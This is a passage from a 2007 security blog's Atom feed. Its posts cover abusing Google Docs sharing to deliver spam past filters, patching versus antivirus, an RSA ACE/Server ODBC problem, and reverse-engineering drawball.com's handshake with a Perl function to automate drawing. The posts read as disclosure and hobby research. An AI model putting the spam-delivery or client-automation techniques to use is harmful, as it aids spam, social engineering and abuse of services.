href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3998422524415120042'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/still-not-zealot.html' title='Still not a zealot...'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-994315703987386404</id><published>2007-06-20T16:08:00.000-04:00</published><updated>2007-06-20T16:28:28.296-04:00</updated><title type='text'>Spamming with Google Docs</title><content type='html'>I frequently use Google Docs and Spreadsheets to manage and share various documents. I was surprised to log in today and see a document I didn't recognize in my list. When I logged into my email, it turned out that it was a legitimate document shared amongst a group of acquaintances, but it got me thinking. Couldn't a spammer have just as easily have done the same thing, and bypassed my spam filters besides?&lt;br /&gt;&lt;br /&gt;I downloaded a "pump and dump" spam image and created a document that looked like &lt;a href="http://docs.google.com/Doc?id=ddv5hc3_4d5pd46"&gt;this&lt;/a&gt;. Then, I added as "viewers" another of my Gmail addresses, a non-Gmail address, and a friend's Gmail and non-Gmail addresses.&lt;br /&gt;&lt;br /&gt;In every case, the notification email came right through as "I've shared a document with you called ..." with a link. The social engineering aspects here are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the email comes from Google&lt;/li&gt;&lt;li&gt;the link goes to Google&lt;/li&gt;&lt;li&gt;the text of the email is familiar and non-threatening, especially to users of Google Docs&lt;/li&gt;&lt;/ul&gt;It is ultimately NOT difficult to convince a user to click on this link (I probably would), and it's not likely to be filtered as spam.&lt;br /&gt;&lt;br /&gt;The additional benefit, of course, is that you can dump documents right into a Google Docs user's main document view without any filtering at all, just by "sharing" the document. Imagine logging in one day to find your list of documents shoved down to make room for a list of docs with titles like "Buy cheap Viagra online!!"&lt;br /&gt;&lt;br /&gt;I'm not sure if Google is already watching for accounts that have a high level of document creation/sharing activity, but if not, they probably should be. Additionally, they may want to consider options to allow users to keep newly-shared/unconfirmed documents out of the default view, or to limit who to accept shared documents from at all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-994315703987386404?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/994315703987386404/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=994315703987386404' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/994315703987386404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/994315703987386404'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/spamming-with-google-docs.html' title='Spamming with Google Docs'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8792460555184530233</id><published>2007-06-15T15:22:00.000-04:00</published><updated>2007-06-15T15:51:10.166-04:00</updated><title type='text'>Patching vs. protection</title><content type='html'>I recently received a secondhand account of a system administrator's argument against patching Office. Though not a direct quote, the sentiment was essentially this: "Shouldn't our antivirus protect us from having to patch?"&lt;br /&gt;&lt;br /&gt;I have a little security angel on my shoulder who cringes when he hears things like this; but I've also got a devil, who asks "well...isn't it true?" &lt;br /&gt;&lt;br /&gt;The answer, of course, is an emphatic NO. Antivirus software is able to protect against specific known threats and suspicious behavior, but the important thing it DOESN'T do is close your security holes. Antivirus addresses attacks -- patching addresses vulnerabilities. In a perfect world, we do both; certainly attempting to substitute one for the other is a terrible mistake.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8792460555184530233?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8792460555184530233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8792460555184530233' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8792460555184530233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8792460555184530233'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/patching-vs-protection.html' title='Patching vs. protection'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-5315726697009688327</id><published>2007-06-12T17:25:00.000-04:00</published><updated>2007-06-12T17:27:58.832-04:00</updated><title type='text'>A Quote from Dave Aitel</title><content type='html'>Two quotes in a day? This one was too good not to repeat. Dave Aitel had the courage to say it: &lt;br /&gt;&lt;blockquote&gt;...people derisively say "script kiddie" and 100% of the time they mean "someone who's way better at security than I'll ever be".&lt;/blockquote&gt;&lt;br /&gt;Too true. There are very few people in the world who can look down on the so-called "script kiddie," and a LOT more than that who THINK they can.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-5315726697009688327?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/5315726697009688327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=5315726697009688327' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5315726697009688327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5315726697009688327'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/quote-from-dave-aitel.html' title='A Quote from Dave Aitel'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-5729883981909284454</id><published>2007-06-12T12:55:00.000-04:00</published><updated>2007-06-12T12:57:35.918-04:00</updated><title type='text'>Threat Analysis: Auditors, Obv</title><content type='html'>This actually came from a spam email. I assume it originated elsewhere, but I'd never heard it before:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;"Hackers may find you; auditors WILL find you."&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-5729883981909284454?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/5729883981909284454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=5729883981909284454' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5729883981909284454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5729883981909284454'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/threat-analysis-auditors-obv.html' title='Threat Analysis: Auditors, Obv'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8116232695786485067</id><published>2007-06-07T10:41:00.000-04:00</published><updated>2007-06-07T10:48:31.499-04:00</updated><title type='text'>Career Goals</title><content type='html'>This is an email I wrote in a conversation with a friend working in IT security who is considering whether to major in computer science or something more "business and IT" oriented. He asked my advice, so I asked what his career goals were. He replied that he didn't have any, and this was my response.&lt;br /&gt;&lt;br /&gt;I didn't edit before posting, so forgive any errors in spelling, grammar, or punctuation.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Goals are critical…they don’t have to be extremely specific, but if you’re doing something like declaring a major, your goals should be at least specific enough to allow you to do so. &lt;br /&gt;&lt;br /&gt;So, my long-term career goals are pretty simple, being basically along the lines of “work in IT in a hands-on technical role” which could include programming, systems administration, etc. Point being that it’s not incredibly specific (notice it doesn’t even specify IT security), but it’s enough to let me know that a comp sci degree is in line with my goals. &lt;br /&gt;&lt;br /&gt;Keep in mind that career goals don’t need to necessarily be about a specific type of work. Mine are, but only because I’m passionate about IT. Some people may not care what type of work they do, but want to make as much money as possible, for example. Others might want to help people, and would be equally satisfied as a doctor or as a guidance counselor. &lt;br /&gt;&lt;br /&gt;Ultimately what I’m getting at is that you should determine what you want your career to accomplish in the larger context of your life, not necessarily what field you want to be in.  &lt;br /&gt;&lt;br /&gt;That being said, if you’re into pursuing security further, and you’re finding that you prefer the technical aspects of it to the regulatory/administrative aspects (hate to meet the person who preferred the latter), I would definitely major in computer science. Security can be as technical as you can make it, being by necessity and by definition at the cutting edge of technology. The better equipped you are to deal with technology, the more opportunity you have in security. That being said, a computer science degree lays the groundwork, but it’s really important to put in additional work doing certs/training, and definitely to do your own projects/research. A potential employer for, say, a pen-testing job will most likely be more impressed by someone who says “I don’t have a degree, but I discovered 3 remote roots last year and developed and released Tool X and Tool Y.”&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8116232695786485067?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8116232695786485067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8116232695786485067' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8116232695786485067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8116232695786485067'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/career-goals.html' title='Career Goals'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1410469984801776711</id><published>2007-05-25T14:12:00.000-04:00</published><updated>2007-06-07T18:12:57.524-04:00</updated><title type='text'>RSA ACE/Server, Progress DB ODBC connection</title><content type='html'>I'm in the process of trying to enable an ODBC connection to the Progress database embedded in RSA's ACE/Server.&lt;br /&gt;&lt;br /&gt;According to the version file on the server, I am running:&lt;br /&gt;PROGRESS PATCH Version 8.3D10 as of September 24, 2001&lt;br /&gt;&lt;br /&gt;I ordered the database client and the ODBC driver from Progress, installed, and attempted to set up an ODBC data source.&lt;br /&gt;&lt;br /&gt;I initially received an error "Specified driver could not be loaded due to system error 126" when trying to test the connection. I found a tip on a messageboard which instructed me to copy prosql32.dll into c:\windows\system32, which resolved the error.&lt;br /&gt;&lt;br /&gt;I received a couple of error messages which were resolved by setting appropriate environment variables:&lt;br /&gt;DLC = C:\DLC&lt;br /&gt;IDLC = %DLC%&lt;br /&gt;PROCFG = %DLC%\PROGRESS.CFG&lt;br /&gt;PROMSGS = %DLC%\PROMSGS&lt;br /&gt;PATH = %PATH%;%DLC%\BIN&lt;br /&gt;&lt;br /&gt;I then started receiving:&lt;br /&gt;[MERANT][ODBC PROGRESS driver][PROGRESS]A PROGRESS database server cannot handle a non-Progress database connection. (2664)&lt;br /&gt;&lt;br /&gt;I followed the instructions in Progress Knowledge Base article 17204. I am running the oibroker on localhost (it is not available on the server), and have the OID/OIB options hostname set appropriately. The Database Options tab points to the remote host. I am able to connect, but I am not able to authenticate. Error:&lt;br /&gt;[MERANT][ODBC PROGRESS driver][PROGRESS]** Disconnected by the server, code 36. (706)[MERANT][ODBC PROGRESS driver][PROGRESS]** Server rejected login. (700)&lt;br /&gt;&lt;br /&gt;The sdserv.lg file on the ACE server says:&lt;br /&gt;14:31:07 SRV     4: Login by &lt;span style="font-style: italic;"&gt;my_username&lt;/span&gt; rejected: secure client required.&lt;br /&gt;&lt;br /&gt;Oddly, it is passing the username that I am logged into the PC with, not the username I entered in the login field.&lt;br /&gt;&lt;br /&gt;I think this could potentially work if I had _prooibk (the OI broker binary) available on the server, but it's not there.&lt;br /&gt;&lt;br /&gt;I'm out of ideas for now. Waiting for a response back from support. Hopefully they will have some ideas.&lt;br /&gt;&lt;br /&gt;EDIT: Support confirmed that the server is requiring an SSL connection, and the SQL-89 ODBC driver does not support SSL. On to plan B...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1410469984801776711?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1410469984801776711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1410469984801776711' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1410469984801776711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1410469984801776711'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/05/rsa-aceserver-progress-db-odbc.html' title='RSA ACE/Server, Progress DB ODBC connection'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1562260603177894447</id><published>2007-05-22T15:24:00.001-04:00</published><updated>2007-06-05T15:48:17.129-04:00</updated><title type='text'>Reversing Drawball</title><content type='html'>I've spent some time lately trying to reverse-engineer the protocol for &lt;a href="http://www.drawball.com/"&gt;drawball.com&lt;/a&gt;. Granted, the client is in Flash, so in theory I could just decompile it and reverse it that way, but what fun is that?&lt;br /&gt;&lt;br /&gt;Here's what I've found so far:&lt;br /&gt;&lt;br /&gt;(All communication is in the form of null-terminated strings. The server listens on port 8007.)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Handshake&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Upon connecting, the client sends what seems to be an arbitrary 7-byte alpha (mixed upper and lower) string. One string can be reused a few times before a new one is required. I assume it's based on time somehow. For the time being, I've just been using Wireshark to retrieve the key generated and sent by the client. I need to spend more time on this one.&lt;span style="font-style: italic;"&gt;&lt;strike&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;I really need to figure out how this is generated, because it's a huge pain to open up the actual client and get a new key every time.&lt;br /&gt;&lt;/strike&gt;&lt;/span&gt;&lt;span&gt;EDIT: Duh, got it. "View Source," idiot: &lt;/span&gt;&amp;lt;param name="FlashVars" value="l=myvalue"&amp;gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;The server responds with a 14-character string consisting of all uppercase letters.&lt;br /&gt;&lt;br /&gt;The client responds with a 7-character string of printable ASCII characters. If the incorrect string is sent, the server disconnects. I figured out that the string is generated by taking each character of the first string sent by the client and subtracting the numeric value (0-25) of every other character in the server response. &lt;span style="font-style: italic;"&gt;That's not a very clear explanation...will post the Perl function that performs this operation once I clean it up a bit.&lt;br /&gt;&lt;br /&gt;EDIT: Here it is.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;sub decode {&lt;br /&gt;    my @seed = split //, shift;&lt;br /&gt;    my @chal = split //, shift;&lt;br /&gt;    my $response;&lt;br /&gt;   &lt;br /&gt;    while(@seed) {&lt;br /&gt;        # get the numeric (0-25) value of the next character of @chal&lt;br /&gt;        my $num = ord(shift @chal) - 65;&lt;br /&gt;        # throw away the next character of @chal&lt;br /&gt;        shift @chal;&lt;br /&gt;        # subtract $num from the next character of @seed, add to response  &lt;br /&gt;        $response .= chr(ord(shift @seed) - $num);&lt;br /&gt;    }  &lt;br /&gt;    return $response;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;   &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Ink&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;The client asks the server how much ink it has left by sending a lowercase "i". The server responds with the letter "i", and what appears to be a 4-byte integer. The first byte is always 01; I think it's just there to avoid having any nulls in the response, since communications are in the form of null-terminated strings.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Drawing&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To draw, the client sends a packet containing the following data:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ASCII "a" (0x61)&lt;/li&gt;&lt;li&gt;0x1 (seems to be constant, not sure what it's for)&lt;/li&gt;&lt;li&gt;0x1 (same)&lt;/li&gt;&lt;li&gt;a 1-byte sequence number, must start with 1 and increment with each transmission&lt;/li&gt;&lt;li&gt;0x2 (constant, not sure)&lt;/li&gt;&lt;li&gt;color - 4-byte integer, don't know how it's being represented. black is 0x01010101, white is 0x09191908&lt;/li&gt;&lt;li&gt;a sequence of (x,y) coordinates where each coordinate is 3 bytes. the minimum number of coordinate pairs is 2, and the minimum line length is 2 pixels. this will draw a line between each coordinate.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;I've successfully managed to automate drawing onto the ball, &lt;strike&gt;but I'm not going to be able to do anything really useful until I can figure out how the initial seed is generated.&lt;/strike&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; I may have been banned...I can load and navigate the site normally, and I seem to have a normal amount of ink, but any attempt to draw results in an immediate disconnection.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1562260603177894447?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1562260603177894447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1562260603177894447' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1562260603177894447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1562260603177894447'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/05/reversing-drawball.html' title='Reversing Drawball'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-5240369242534218915</id><published>2007-04-23T15:22:00.000-04:00</published><updated>2007-04-24T11:45:17.648-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CRLF'/><category scheme='http://www.blogger.com/atom/ns#' term='CR'/><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Subversion'/><category scheme='http://www.blogger.com/atom/ns#' term='LF'/><category scheme='http://www.blogger.com/atom/ns#' term='Tyler&apos;s Help Desk'/><title type='text'>Win32 Perl + Subversion line break hell</title><content type='html'>News to me: when Perl writes to a file handle on Win32, it replaces LF with CRLF unless you explicitly call binmode on the file handle. In addition to that, Subversion's "native" setting for eol-style does the same.&lt;br /&gt;&lt;br /&gt;To switch SVN over to LF only:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;svn propset svn:eol-style LF &amp;lt;filename&amp;gt; &lt;/span&gt; &lt;filename&gt;&lt;/filename&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-5240369242534218915?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/5240369242534218915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=5240369242534218915' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5240369242534218915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5240369242534218915'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/04/win32-perl-subversion-line-break-hell.html' title='Win32 Perl + Subversion line break hell'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-4183311230791316010</id><published>2007-04-17T10:02:00.000-04:00</published><updated>2007-04-24T11:45:59.589-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNU'/><title type='text'>Free as in speech</title><content type='html'>&lt;a href="http://www.haloscan.com/comments/alexeck/6899682697495800824/#381163"&gt;I swear I am not a GNU zealot.&lt;/a&gt; I use plenty of non-free software, and I have no qualms about it. I do, however, understand and mostly agree with the philosophy behind free software. Practically speaking, I am willing to trade some of my freedom for convenience. I'm not whether that makes me a hypocrite, or whether I am just exercising a different, related freedom.&lt;br /&gt;&lt;br /&gt;Edit: In case the link disappears at some point, here are my comments.&lt;br /&gt;&lt;br /&gt;In response to:&lt;br /&gt;&lt;blockquote&gt;Do you buy the idea that being "open" makes software more secure, or automatically makes it "better" or somehow morally superior to closed source software?"&lt;/blockquote&gt;&lt;br /&gt;I wrote:&lt;br /&gt;&lt;blockquote&gt; The idea of being "open" or "free" (as in speech) is a license issue. It does not make the software anything. It can be good, bad, or indifferent. Whether software is secure or not is not related to whether it's free or not. However, there are inherent characteristics of open/free software that give the user the FREEDOM to be more secure than with closed source, whether or not he or she chooses to exercise that freedom. Non-free software robs you of that freedom. It forces you to make the choice to accept the vendor's security mistakes or not use the software at all. (To quickly address the obvious rebuttal, the freedom to make that choice is not a freedom any more than, say, the freedom to eat rotten meat or starve.)&lt;br /&gt;&lt;br /&gt;As far as being morally superior, YES, free software is morally superior to closed software. Richard Stallman has developed and documented this argument well enough that it's not worth repeating here, but I highly recommend you read through and understand the information at &lt;a href="http://www.gnu.org/philosophy/" rel="nofollow" target="_blank"&gt;http://www.gnu.org/philosophy/&lt;/a&gt;.&lt;/blockquote&gt;&lt;br /&gt;And in response to the following:&lt;br /&gt;&lt;blockquote&gt;My feeling is that people should use whatever is best for them (however you define "best"). About morality...I think that if two parties willingly agree to licensing terms (whether proprietary, GPL, or anything else) then there is no moral issue. Maybe someone external to that situation would see it as immoral, but that's like some redneck getting offended by a gay couple because it goes against his belief system. Of course the hole in this argument is that proprietary software usually doesn't present a license until installation and most retailers won't accept opened software for return. Regardless, there are always going to be people who get offended by other people due to various belief systems. I could not care less if somebody else uses/writes proprietary, GPL, or other software; my only concern is what I use/write. Issuing a blanket statement like "proprietary software is immoral" is no better than saying that "homosexuality is immoral". For certain belief systems it may be true, but it may not be true for the only belief system that matters: mine. Murder is virtually the only thing seen as immoral by all civilizations. Everything else is up for debate.&lt;/blockquote&gt;&lt;br /&gt;I wrote:&lt;br /&gt;&lt;blockquote&gt;Comparing the morality judgement against proprietary software to bigotry against homosexuals is a weak straw man argument. You clearly are not familiar with the reasoning behind the belief that proprietary software is evil/immoral, certainly not enough to decide whether you are for or against such an argument in a rational and objective manner. If you believe that people are entitled to freedom, then proprietary software is inherently immoral. You have the right to believe that people are NOT entitled to freedom, but I would argue THAT would be much more analagous to saying something like "homosexuality is immoral."&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-4183311230791316010?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/4183311230791316010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=4183311230791316010' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4183311230791316010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4183311230791316010'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/04/free-as-in-speech.html' title='Free as in speech'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-5592779240570464274</id><published>2007-04-05T22:04:00.000-04:00</published><updated>2007-04-24T11:46:19.846-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='Funny'/><title type='text'>QOTD</title><content type='html'>"I gave up Perl for Ruby."&lt;br /&gt;"That's like giving up herpes for rabies."&lt;br /&gt;- Anonymous message board exchange&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-5592779240570464274?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/5592779240570464274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=5592779240570464274' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5592779240570464274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5592779240570464274'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/04/qotd.html' title='QOTD'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-6298430482754216763</id><published>2007-04-05T10:25:00.000-04:00</published><updated>2007-04-24T11:46:38.504-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Undocumented builds and backwards incompatibility</title><content type='html'>So I spent a lot of yesterday trying to, without any documentation at all, build a Windows executable out of a Python program whose GUI is based on an older version of Qt/PyQt. Unfortunately PyQt 4 is apparently NOT backwards-compatible with PyQt 3, such that the existing scripts would not work with PyQt 4 as they were written. It was an absolute nightmare getting the older versions compiled, installed, and working, and it made me want to document some general thoughts.&lt;br /&gt;&lt;br /&gt;My primary function has never been as a developer, but I've still always written code as part of my job responsibilities. People like me (and like the person who wrote the Python program, I imagine), don't generally have the same experience in formal software development processes as "Computer Programmers (TM)". This tends to cause problems.&lt;br /&gt;&lt;br /&gt;The interesting thing is that the problems seem to come from dependencies, building, and things of that nature than with the code itself. I think most of the actual code I write, and a lot of the code of this sort that I've read, is more or less self-documenting. I'm talking mostly about utility programs, generally less than 1000 lines and often less than 250 lines.&lt;br /&gt;&lt;br /&gt;Notes to self, and other interested parties:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Document your build process if it's anything more complicated than "cc file.c". (I will be forever in your gratitude if you leave me a Makefile.)&lt;/li&gt;&lt;li&gt;Use some sort of central code repository. Digging through backups of old PC's to recover code is no fun for anyone.&lt;/li&gt;&lt;li&gt;Related: don't just leave your code, if at all possible...leave the libraries, utilities, and other related items somewhere where I can find them. At worst, leave me links to go get them.&lt;/li&gt;&lt;li&gt;Create a README file! If you have to solve any problems or come across anything quirky, NOTE THEM IN THE README!&lt;/li&gt;&lt;li&gt;A function called "GetUsername" does not need a comment that reads "Gets the username."&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Misc:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Thomas 